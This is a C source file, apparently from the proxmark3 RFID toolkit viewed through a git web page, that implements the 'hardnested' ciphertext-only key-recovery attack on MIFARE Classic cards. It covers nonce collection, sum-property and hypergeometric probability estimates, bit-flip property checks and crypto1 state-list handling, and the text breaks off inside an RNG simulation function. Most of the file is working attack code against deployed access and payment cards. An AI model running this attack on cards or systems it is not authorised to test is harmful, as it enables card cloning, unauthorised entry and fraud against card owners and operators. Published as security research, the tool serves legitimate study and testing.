]> cvs.zerfleddert.de Git - proxmark3-svn/blob - client/cmdhfmfhard.c
projects / proxmark3-svn / blob
? search:


a9dc8762e9a884593b9b97b514a84d1bf3d99e53
[proxmark3-svn] / client / cmdhfmfhard.c
1 //-----------------------------------------------------------------------------
2 // Copyright (C) 2015 piwi
3 // fiddled with 2016 Azcid (hardnested bitsliced Bruteforce imp)
4 // fiddled with 2016 Matrix ( sub testing of nonces while collecting )
5 // This code is licensed to you under the terms of the GNU GPL, version 2 or,
6 // at your option, any later version. See the LICENSE.txt file for the text of
7 // the license.
8 //-----------------------------------------------------------------------------
9 // Implements a card only attack based on crypto text (encrypted nonces
10 // received during a nested authentication) only. Unlike other card only
11 // attacks this doesn't rely on implementation errors but only on the
12 // inherent weaknesses of the crypto1 cypher. Described in
13 // Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
14 // Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
15 // Computer and Communications Security, 2015
16 //-----------------------------------------------------------------------------
17 #include "cmdhfmfhard.h"
18 #include "cmdhw.h"
19
20 #define CONFIDENCE_THRESHOLD 0.95 // Collect nonces until we are certain enough that the following brute force is successfull
21 #define GOOD_BYTES_REQUIRED 13 // default 28, could be smaller == faster
22 #define NONCES_THRESHOLD 5000 // every N nonces check if we can crack the key
23 #define CRACKING_THRESHOLD 36.0f //38.50f // as 2^38.5
24 #define MAX_BUCKETS 128
25
26 #define END_OF_LIST_MARKER 0xFFFFFFFF
27
28 static const float p_K[257] = { // the probability that a random nonce has a Sum Property == K
29 0.0290, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
30 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
31 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
32 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
33 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
34 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
35 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
36 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
37 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
38 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
39 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
40 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
41 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
42 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
43 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
44 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
45 0.4180, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
46 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
47 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
48 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
49 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
50 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
51 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
52 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
53 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
54 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
55 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
56 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
57 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
58 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
59 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
60 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
61 0.0290 };
62
63 typedef struct noncelistentry {
64 uint32_t nonce_enc;
65 uint8_t par_enc;
66 void *next;
67 } noncelistentry_t;
68
69 typedef struct noncelist {
70 uint16_t num;
71 uint16_t Sum;
72 uint16_t Sum8_guess;
73 uint8_t BitFlip[2];
74 float Sum8_prob;
75 bool updated;
76 noncelistentry_t *first;
77 float score1;
78 uint_fast8_t score2;
79 } noncelist_t;
80
81 static size_t nonces_to_bruteforce = 0;
82 static noncelistentry_t *brute_force_nonces[256];
83 static uint32_t cuid = 0;
84 static noncelist_t nonces[256];
85 static uint8_t best_first_bytes[256];
86 static uint16_t first_byte_Sum = 0;
87 static uint16_t first_byte_num = 0;
88 static uint16_t num_good_first_bytes = 0;
89 static uint64_t maximum_states = 0;
90 static uint64_t known_target_key;
91 static bool write_stats = false;
92 static FILE *fstats = NULL;
93
94
95 typedef enum {
96 EVEN_STATE = 0,
97 ODD_STATE = 1
98 } odd_even_t;
99
100 #define STATELIST_INDEX_WIDTH 16
101 #define STATELIST_INDEX_SIZE (1<<STATELIST_INDEX_WIDTH)
102
103 typedef struct {
104 uint32_t *states[2];
105 uint32_t len[2];
106 uint32_t *index[2][STATELIST_INDEX_SIZE];
107 } partial_indexed_statelist_t;
108
109 typedef struct {
110 uint32_t *states[2];
111 uint32_t len[2];
112 void* next;
113 } statelist_t;
114
115
116 static partial_indexed_statelist_t partial_statelist[17];
117 static partial_indexed_statelist_t statelist_bitflip;
118 static statelist_t *candidates = NULL;
119
120 bool field_off = false;
121
122 uint64_t foundkey = 0;
123 size_t keys_found = 0;
124 size_t bucket_count = 0;
125 statelist_t* buckets[MAX_BUCKETS];
126 static uint64_t total_states_tested = 0;
127 size_t thread_count = 4;
128
129 // these bitsliced states will hold identical states in all slices
130 bitslice_t bitsliced_rollback_byte[ROLLBACK_SIZE];
131
132 // arrays of bitsliced states with identical values in all slices
133 bitslice_t bitsliced_encrypted_nonces[NONCE_TESTS][STATE_SIZE];
134 bitslice_t bitsliced_encrypted_parity_bits[NONCE_TESTS][ROLLBACK_SIZE];
135
136 #define EXACT_COUNT
137
138 static bool generate_candidates(uint16_t, uint16_t);
139 static bool brute_force(void);
140
141 static int add_nonce(uint32_t nonce_enc, uint8_t par_enc)
142 {
143 uint8_t first_byte = nonce_enc >> 24;
144 noncelistentry_t *p1 = nonces[first_byte].first;
145 noncelistentry_t *p2 = NULL;
146
147 if (p1 == NULL) { // first nonce with this 1st byte
148 first_byte_num++;
149 first_byte_Sum += evenparity32((nonce_enc & 0xff000000) | (par_enc & 0x08));
150 // printf("Adding nonce 0x%08x, par_enc 0x%02x, parity(0x%08x) = %d\n",
151 // nonce_enc,
152 // par_enc,
153 // (nonce_enc & 0xff000000) | (par_enc & 0x08) |0x01,
154 // parity((nonce_enc & 0xff000000) | (par_enc & 0x08));
155 }
156
157 while (p1 != NULL && (p1->nonce_enc & 0x00ff0000) < (nonce_enc & 0x00ff0000)) {
158 p2 = p1;
159 p1 = p1->next;
160 }
161
162 if (p1 == NULL) { // need to add at the end of the list
163 if (p2 == NULL) { // list is empty yet. Add first entry.
164 p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t));
165 } else { // add new entry at end of existing list.
166 p2 = p2->next = malloc(sizeof(noncelistentry_t));
167 }
168 if (p2 == NULL) return 0; // memory allocation failed
169 }
170 else if ((p1->nonce_enc & 0x00ff0000) != (nonce_enc & 0x00ff0000)) { // found distinct 2nd byte. Need to insert.
171 if (p2 == NULL) { // need to insert at start of list
172 p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t));
173 } else {
174 p2 = p2->next = malloc(sizeof(noncelistentry_t));
175 }
176 if (p2 == NULL) return 0; // memory allocation failed
177 } else {
178 return 0; // we have seen this 2nd byte before. Nothing to add or insert.
179 }
180
181 // add or insert new data
182 p2->next = p1;
183 p2->nonce_enc = nonce_enc;
184 p2->par_enc = par_enc;
185
186 if(nonces_to_bruteforce < 256){
187 brute_force_nonces[nonces_to_bruteforce] = p2;
188 nonces_to_bruteforce++;
189 }
190
191 nonces[first_byte].num++;
192 nonces[first_byte].Sum += evenparity32((nonce_enc & 0x00ff0000) | (par_enc & 0x04));
193 nonces[first_byte].updated = true; // indicates that we need to recalculate the Sum(a8) probability for this first byte
194
195 return 1; // new nonce added
196 }
197
198 static void init_nonce_memory(void)
199 {
200 for (uint16_t i = 0; i < 256; i++) {
201 nonces[i].num = 0;
202 nonces[i].Sum = 0;
203 nonces[i].Sum8_guess = 0;
204 nonces[i].Sum8_prob = 0.0;
205 nonces[i].updated = true;
206 nonces[i].first = NULL;
207 }
208 first_byte_num = 0;
209 first_byte_Sum = 0;
210 num_good_first_bytes = 0;
211 }
212
213 static void free_nonce_list(noncelistentry_t *p)
214 {
215 if (p == NULL) {
216 return;
217 } else {
218 free_nonce_list(p->next);
219 free(p);
220 }
221 }
222
223 static void free_nonces_memory(void)
224 {
225 for (uint16_t i = 0; i < 256; i++) {
226 free_nonce_list(nonces[i].first);
227 }
228 }
229
230 static uint16_t PartialSumProperty(uint32_t state, odd_even_t odd_even)
231 {
232 uint16_t sum = 0;
233 for (uint16_t j = 0; j < 16; j++) {
234 uint32_t st = state;
235 uint16_t part_sum = 0;
236 if (odd_even == ODD_STATE) {
237 for (uint16_t i = 0; i < 5; i++) {
238 part_sum ^= filter(st);
239 st = (st << 1) | ((j >> (3-i)) & 0x01) ;
240 }
241 part_sum ^= 1; // XOR 1 cancelled out for the other 8 bits
242 } else {
243 for (uint16_t i = 0; i < 4; i++) {
244 st = (st << 1) | ((j >> (3-i)) & 0x01) ;
245 part_sum ^= filter(st);
246 }
247 }
248 sum += part_sum;
249 }
250 return sum;
251 }
252
253 // static uint16_t SumProperty(struct Crypto1State *s)
254 // {
255 // uint16_t sum_odd = PartialSumProperty(s->odd, ODD_STATE);
256 // uint16_t sum_even = PartialSumProperty(s->even, EVEN_STATE);
257 // return (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even);
258 // }
259
260 static double p_hypergeometric(uint16_t N, uint16_t K, uint16_t n, uint16_t k)
261 {
262 // for efficient computation we are using the recursive definition
263 // (K-k+1) * (n-k+1)
264 // P(X=k) = P(X=k-1) * --------------------
265 // k * (N-K-n+k)
266 // and
267 // (N-K)*(N-K-1)*...*(N-K-n+1)
268 // P(X=0) = -----------------------------
269 // N*(N-1)*...*(N-n+1)
270
271 if (n-k > N-K || k > K) return 0.0; // avoids log(x<=0) in calculation below
272 if (k == 0) {
273 // use logarithms to avoid overflow with huge factorials (double type can only hold 170!)
274 double log_result = 0.0;
275 for (int16_t i = N-K; i >= N-K-n+1; i--) {
276 log_result += log(i);
277 }
278 for (int16_t i = N; i >= N-n+1; i--) {
279 log_result -= log(i);
280 }
281 return exp(log_result);
282 } else {
283 if (n-k == N-K) { // special case. The published recursion below would fail with a divide by zero exception
284 double log_result = 0.0;
285 for (int16_t i = k+1; i <= n; i++) {
286 log_result += log(i);
287 }
288 for (int16_t i = K+1; i <= N; i++) {
289 log_result -= log(i);
290 }
291 return exp(log_result);
292 } else { // recursion
293 return (p_hypergeometric(N, K, n, k-1) * (K-k+1) * (n-k+1) / (k * (N-K-n+k)));
294 }
295 }
296 }
297
298 static float sum_probability(uint16_t K, uint16_t n, uint16_t k)
299 {
300 const uint16_t N = 256;
301
302 if (k > K || p_K[K] == 0.0) return 0.0;
303
304 double p_T_is_k_when_S_is_K = p_hypergeometric(N, K, n, k);
305 if (p_T_is_k_when_S_is_K == 0.0) return 0.0;
306
307 double p_S_is_K = p_K[K];
308 double p_T_is_k = 0.0;
309 for (uint16_t i = 0; i <= 256; i++) {
310 if (p_K[i] != 0.0) {
311 p_T_is_k += p_K[i] * p_hypergeometric(N, i, n, k);
312 }
313 }
314 if (p_T_is_k == 0.0) return 0.0;
315 return(p_T_is_k_when_S_is_K * p_S_is_K / p_T_is_k);
316 }
317
318 static inline uint_fast8_t common_bits(uint_fast8_t bytes_diff)
319 {
320 static const uint_fast8_t common_bits_LUT[256] = {
321 8, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
322 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
323 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
324 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
325 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
326 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
327 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
328 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
329 7, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
330 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
331 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
332 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
333 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
334 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
335 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
336 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0
337 };
338
339 return common_bits_LUT[bytes_diff];
340 }
341
342 static void Tests()
343 {
344 // printf("Tests: Partial Statelist sizes\n");
345 // for (uint16_t i = 0; i <= 16; i+=2) {
346 // printf("Partial State List Odd [%2d] has %8d entries\n", i, partial_statelist[i].len[ODD_STATE]);
347 // }
348 // for (uint16_t i = 0; i <= 16; i+=2) {
349 // printf("Partial State List Even [%2d] has %8d entries\n", i, partial_statelist[i].len[EVEN_STATE]);
350 // }
351
352 // #define NUM_STATISTICS 100000
353 // uint32_t statistics_odd[17];
354 // uint64_t statistics[257];
355 // uint32_t statistics_even[17];
356 // struct Crypto1State cs;
357 // time_t time1 = clock();
358
359 // for (uint16_t i = 0; i < 257; i++) {
360 // statistics[i] = 0;
361 // }
362 // for (uint16_t i = 0; i < 17; i++) {
363 // statistics_odd[i] = 0;
364 // statistics_even[i] = 0;
365 // }
366
367 // for (uint64_t i = 0; i < NUM_STATISTICS; i++) {
368 // cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff);
369 // cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff);
370 // uint16_t sum_property = SumProperty(&cs);
371 // statistics[sum_property] += 1;
372 // sum_property = PartialSumProperty(cs.even, EVEN_STATE);
373 // statistics_even[sum_property]++;
374 // sum_property = PartialSumProperty(cs.odd, ODD_STATE);
375 // statistics_odd[sum_property]++;
376 // if (i%(NUM_STATISTICS/100) == 0) printf(".");
377 // }
378
379 // printf("\nTests: Calculated %d Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)clock() - time1)/CLOCKS_PER_SEC, NUM_STATISTICS/((float)clock() - time1)*CLOCKS_PER_SEC);
380 // for (uint16_t i = 0; i < 257; i++) {
381 // if (statistics[i] != 0) {
382 // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/NUM_STATISTICS);
383 // }
384 // }
385 // for (uint16_t i = 0; i <= 16; i++) {
386 // if (statistics_odd[i] != 0) {
387 // printf("probability odd [%2d] = %0.5f\n", i, (float)statistics_odd[i]/NUM_STATISTICS);
388 // }
389 // }
390 // for (uint16_t i = 0; i <= 16; i++) {
391 // if (statistics_odd[i] != 0) {
392 // printf("probability even [%2d] = %0.5f\n", i, (float)statistics_even[i]/NUM_STATISTICS);
393 // }
394 // }
395
396 // printf("Tests: Sum Probabilities based on Partial Sums\n");
397 // for (uint16_t i = 0; i < 257; i++) {
398 // statistics[i] = 0;
399 // }
400 // uint64_t num_states = 0;
401 // for (uint16_t oddsum = 0; oddsum <= 16; oddsum += 2) {
402 // for (uint16_t evensum = 0; evensum <= 16; evensum += 2) {
403 // uint16_t sum = oddsum*(16-evensum) + (16-oddsum)*evensum;
404 // statistics[sum] += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
405 // num_states += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
406 // }
407 // }
408 // printf("num_states = %lld, expected %lld\n", num_states, (1LL<<48));
409 // for (uint16_t i = 0; i < 257; i++) {
410 // if (statistics[i] != 0) {
411 // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/num_states);
412 // }
413 // }
414
415 // printf("\nTests: Hypergeometric Probability for selected parameters\n");
416 // printf("p_hypergeometric(256, 206, 255, 206) = %0.8f\n", p_hypergeometric(256, 206, 255, 206));
417 // printf("p_hypergeometric(256, 206, 255, 205) = %0.8f\n", p_hypergeometric(256, 206, 255, 205));
418 // printf("p_hypergeometric(256, 156, 1, 1) = %0.8f\n", p_hypergeometric(256, 156, 1, 1));
419 // printf("p_hypergeometric(256, 156, 1, 0) = %0.8f\n", p_hypergeometric(256, 156, 1, 0));
420 // printf("p_hypergeometric(256, 1, 1, 1) = %0.8f\n", p_hypergeometric(256, 1, 1, 1));
421 // printf("p_hypergeometric(256, 1, 1, 0) = %0.8f\n", p_hypergeometric(256, 1, 1, 0));
422
423 // struct Crypto1State *pcs;
424 // pcs = crypto1_create(0xffffffffffff);
425 // printf("\nTests: for key = 0xffffffffffff:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
426 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
427 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
428 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
429 // best_first_bytes[0],
430 // SumProperty(pcs),
431 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
432 // //test_state_odd = pcs->odd & 0x00ffffff;
433 // //test_state_even = pcs->even & 0x00ffffff;
434 // crypto1_destroy(pcs);
435 // pcs = crypto1_create(0xa0a1a2a3a4a5);
436 // printf("Tests: for key = 0xa0a1a2a3a4a5:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
437 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
438 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
439 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
440 // best_first_bytes[0],
441 // SumProperty(pcs),
442 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
443 // //test_state_odd = pcs->odd & 0x00ffffff;
444 // //test_state_even = pcs->even & 0x00ffffff;
445 // crypto1_destroy(pcs);
446 // pcs = crypto1_create(0xa6b9aa97b955);
447 // printf("Tests: for key = 0xa6b9aa97b955:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
448 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
449 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
450 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
451 // best_first_bytes[0],
452 // SumProperty(pcs),
453 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
454 //test_state_odd = pcs->odd & 0x00ffffff;
455 //test_state_even = pcs->even & 0x00ffffff;
456 // crypto1_destroy(pcs);
457
458
459 // printf("\nTests: number of states with BitFlipProperty: %d, (= %1.3f%% of total states)\n", statelist_bitflip.len[0], 100.0 * statelist_bitflip.len[0] / (1<<20));
460
461 // printf("\nTests: Actual BitFlipProperties odd/even:\n");
462 // for (uint16_t i = 0; i < 256; i++) {
463 // printf("[%02x]:%c ", i, nonces[i].BitFlip[ODD_STATE]?'o':nonces[i].BitFlip[EVEN_STATE]?'e':' ');
464 // if (i % 8 == 7) {
465 // printf("\n");
466 // }
467 // }
468
469 // printf("\nTests: Sorted First Bytes:\n");
470 // for (uint16_t i = 0; i < 256; i++) {
471 // uint8_t best_byte = best_first_bytes[i];
472 // printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c\n",
473 // //printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c, score1: %1.5f, score2: %1.0f\n",
474 // i, best_byte,
475 // nonces[best_byte].num,
476 // nonces[best_byte].Sum,
477 // nonces[best_byte].Sum8_guess,
478 // nonces[best_byte].Sum8_prob * 100,
479 // nonces[best_byte].BitFlip[ODD_STATE]?'o':nonces[best_byte].BitFlip[EVEN_STATE]?'e':' '
480 // //nonces[best_byte].score1,
481 // //nonces[best_byte].score2
482 // );
483 // }
484
485 // printf("\nTests: parity performance\n");
486 // time_t time1p = clock();
487 // uint32_t par_sum = 0;
488 // for (uint32_t i = 0; i < 100000000; i++) {
489 // par_sum += parity(i);
490 // }
491 // printf("parsum oldparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC);
492
493 // time1p = clock();
494 // par_sum = 0;
495 // for (uint32_t i = 0; i < 100000000; i++) {
496 // par_sum += evenparity32(i);
497 // }
498 // printf("parsum newparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC);
499
500
501 }
502
503 static uint16_t sort_best_first_bytes(void)
504 {
505 // sort based on probability for correct guess
506 for (uint16_t i = 0; i < 256; i++ ) {
507 uint16_t j = 0;
508 float prob1 = nonces[i].Sum8_prob;
509 float prob2 = nonces[best_first_bytes[0]].Sum8_prob;
510 while (prob1 < prob2 && j < i) {
511 prob2 = nonces[best_first_bytes[++j]].Sum8_prob;
512 }
513 if (j < i) {
514 for (uint16_t k = i; k > j; k--) {
515 best_first_bytes[k] = best_first_bytes[k-1];
516 }
517 }
518 best_first_bytes[j] = i;
519 }
520
521 // determine how many are above the CONFIDENCE_THRESHOLD
522 uint16_t num_good_nonces = 0;
523 for (uint16_t i = 0; i < 256; i++) {
524 if (nonces[best_first_bytes[i]].Sum8_prob >= CONFIDENCE_THRESHOLD) {
525 ++num_good_nonces;
526 }
527 }
528
529 if (num_good_nonces == 0) return 0;
530
531 uint16_t best_first_byte = 0;
532
533 // select the best possible first byte based on number of common bits with all {b'}
534 // uint16_t max_common_bits = 0;
535 // for (uint16_t i = 0; i < num_good_nonces; i++) {
536 // uint16_t sum_common_bits = 0;
537 // for (uint16_t j = 0; j < num_good_nonces; j++) {
538 // if (i != j) {
539 // sum_common_bits += common_bits(best_first_bytes[i],best_first_bytes[j]);
540 // }
541 // }
542 // if (sum_common_bits > max_common_bits) {
543 // max_common_bits = sum_common_bits;
544 // best_first_byte = i;
545 // }
546 // }
547
548 // select best possible first byte {b} based on least likely sum/bitflip property
549 float min_p_K = 1.0;
550 for (uint16_t i = 0; i < num_good_nonces; i++ ) {
551 uint16_t sum8 = nonces[best_first_bytes[i]].Sum8_guess;
552 float bitflip_prob = 1.0;
553
554 if (nonces[best_first_bytes[i]].BitFlip[ODD_STATE] || nonces[best_first_bytes[i]].BitFlip[EVEN_STATE])
555 bitflip_prob = 0.09375;
556
557 nonces[best_first_bytes[i]].score1 = p_K[sum8] * bitflip_prob;
558
559 if (p_K[sum8] * bitflip_prob <= min_p_K)
560 min_p_K = p_K[sum8] * bitflip_prob;
561
562 }
563
564
565 // use number of commmon bits as a tie breaker
566 uint_fast8_t max_common_bits = 0;
567 for (uint16_t i = 0; i < num_good_nonces; i++) {
568
569 float bitflip_prob = 1.0;
570 if (nonces[best_first_bytes[i]].BitFlip[ODD_STATE] || nonces[best_first_bytes[i]].BitFlip[EVEN_STATE])
571 bitflip_prob = 0.09375;
572
573 if (p_K[nonces[best_first_bytes[i]].Sum8_guess] * bitflip_prob == min_p_K) {
574 uint_fast8_t sum_common_bits = 0;
575 for (uint16_t j = 0; j < num_good_nonces; j++) {
576 sum_common_bits += common_bits(best_first_bytes[i] ^ best_first_bytes[j]);
577 }
578 nonces[best_first_bytes[i]].score2 = sum_common_bits;
579 if (sum_common_bits > max_common_bits) {
580 max_common_bits = sum_common_bits;
581 best_first_byte = i;
582 }
583 }
584 }
585
586 // swap best possible first byte to the pole position
587 if (best_first_byte != 0) {
588 uint16_t temp = best_first_bytes[0];
589 best_first_bytes[0] = best_first_bytes[best_first_byte];
590 best_first_bytes[best_first_byte] = temp;
591 }
592
593 return num_good_nonces;
594 }
595
596 static uint16_t estimate_second_byte_sum(void)
597 {
598 for (uint16_t first_byte = 0; first_byte < 256; first_byte++) {
599 float Sum8_prob = 0.0;
600 uint16_t Sum8 = 0;
601 if (nonces[first_byte].updated) {
602 for (uint16_t sum = 0; sum <= 256; sum++) {
603 float prob = sum_probability(sum, nonces[first_byte].num, nonces[first_byte].Sum);
604 if (prob > Sum8_prob) {
605 Sum8_prob = prob;
606 Sum8 = sum;
607 }
608 }
609 nonces[first_byte].Sum8_guess = Sum8;
610 nonces[first_byte].Sum8_prob = Sum8_prob;
611 nonces[first_byte].updated = false;
612 }
613 }
614 return sort_best_first_bytes();
615 }
616
617 static int read_nonce_file(void)
618 {
619 FILE *fnonces = NULL;
620 uint8_t trgBlockNo = 0;
621 uint8_t trgKeyType = 0;
622 uint8_t read_buf[9];
623 uint32_t nt_enc1 = 0, nt_enc2 = 0;
624 uint8_t par_enc = 0;
625 int total_num_nonces = 0;
626
627 if ((fnonces = fopen("nonces.bin","rb")) == NULL) {
628 PrintAndLog("Could not open file nonces.bin");
629 return 1;
630 }
631
632 PrintAndLog("Reading nonces from file nonces.bin...");
633 memset (read_buf, 0, sizeof (read_buf));
634 size_t bytes_read = fread(read_buf, 1, 6, fnonces);
635 if ( bytes_read == 0) {
636 PrintAndLog("File reading error.");
637 fclose(fnonces);
638 return 1;
639 }
640 cuid = bytes_to_num(read_buf, 4);
641 trgBlockNo = bytes_to_num(read_buf+4, 1);
642 trgKeyType = bytes_to_num(read_buf+5, 1);
643 size_t ret = 0;
644 do {
645 memset (read_buf, 0, sizeof (read_buf));
646 if ((ret = fread(read_buf, 1, 9, fnonces)) == 9) {
647 nt_enc1 = bytes_to_num(read_buf, 4);
648 nt_enc2 = bytes_to_num(read_buf+4, 4);
649 par_enc = bytes_to_num(read_buf+8, 1);
650 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4);
651 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
652 add_nonce(nt_enc1, par_enc >> 4);
653 add_nonce(nt_enc2, par_enc & 0x0f);
654 total_num_nonces += 2;
655 }
656 } while (ret == 9);
657
658 fclose(fnonces);
659 PrintAndLog("Read %d nonces from file. cuid=%08x, Block=%d, Keytype=%c", total_num_nonces, cuid, trgBlockNo, trgKeyType==0?'A':'B');
660 return 0;
661 }
662
663 static void Check_for_FilterFlipProperties(void)
664 {
665 printf("Checking for Filter Flip Properties...\n");
666 uint16_t num_bitflips = 0;
667
668 for (uint16_t i = 0; i < 256; i++) {
669 nonces[i].BitFlip[ODD_STATE] = false;
670 nonces[i].BitFlip[EVEN_STATE] = false;
671 }
672
673 for (uint16_t i = 0; i < 256; i++) {
674 if (!nonces[i].first || !nonces[i^0x80].first || !nonces[i^0x40].first) continue;
675
676 uint8_t parity1 = (nonces[i].first->par_enc) >> 3; // parity of first byte
677 uint8_t parity2_odd = (nonces[i^0x80].first->par_enc) >> 3; // XOR 0x80 = last bit flipped
678 uint8_t parity2_even = (nonces[i^0x40].first->par_enc) >> 3; // XOR 0x40 = second last bit flipped
679
680 if (parity1 == parity2_odd) { // has Bit Flip Property for odd bits
681 nonces[i].BitFlip[ODD_STATE] = true;
682 num_bitflips++;
683 } else if (parity1 == parity2_even) { // has Bit Flip Property for even bits
684 nonces[i].BitFlip[EVEN_STATE] = true;
685 num_bitflips++;
686 }
687 }
688
689 if (write_stats)
690 fprintf(fstats, "%d;", num_bitflips);
691 }
692
693 static void simulate_MFplus_RNG(uint32_t test_cuid, uint64_t test_key, uint32_t *nt_enc, uint8_t *par_enc)
694 {
695 struct Crypto1State sim_cs = {0, 0};
696 // init cryptostate with key:
697 for(int8_t i = 47; i > 0; i -= 2) {
698 sim_cs.odd = sim_cs.odd << 1 | BIT(test_key, (i - 1) ^ 7);
699 sim_cs.even = sim_cs.even << 1 | BIT(test_key, i ^ 7);
700 }
701
702 *par_enc = 0;
703 uint32_t nt = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff);
